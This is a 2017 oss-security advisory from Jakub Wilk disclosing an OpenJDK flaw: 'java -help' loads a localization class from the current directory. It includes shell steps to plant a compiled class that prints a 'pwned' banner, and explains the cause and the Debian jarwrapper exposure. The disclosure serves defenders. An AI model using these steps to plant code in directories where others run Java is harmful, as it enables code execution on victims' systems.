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Message-ID: <20170613152313.te53ju5sh77ptnix@jwilk.net>
Date: Tue, 13 Jun 2017 17:23:13 +0200
From: Jakub Wilk <jwilk@...lk.net>
To: oss-security@...ts.openwall.com
Subject: OpenJDK: java(1): untrusted search path
Running "java -help" can load code from a subdirectory of cwd:
$ javac launcher_en.java
$ mkdir -p sun/launcher/resources/
$ mv launcher_en.class sun/launcher/resources/
$ java -help
_______
< pwned >
-------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
This happens because:
* By default (i.e. when CLASSPATH env var was unset and neither -cp nor -jar
was specified), java sets "." as the user class path:
https://docs.oracle.com/javase/8/docs/technotes/tools/findingclasses.html#userclass
* The help message is apparently supposed to be internationalized.
* The Java's localization machinery loads classes:
https://docs.oracle.com/javase/8/docs/api/java/util/ResourceBundle.html
On Debian systems, jarwrapper (a binfmt-misc thing for running executable jar
files) is affected. It contains the following code:
if java -d32 2>&1 | grep "does not support" > /dev/null; then
...
On 32-bit systems, this causes java to print the help message.
--
Jakub Wilk
View attachment "launcher_en.java" of type "text/x-java" (413 bytes)
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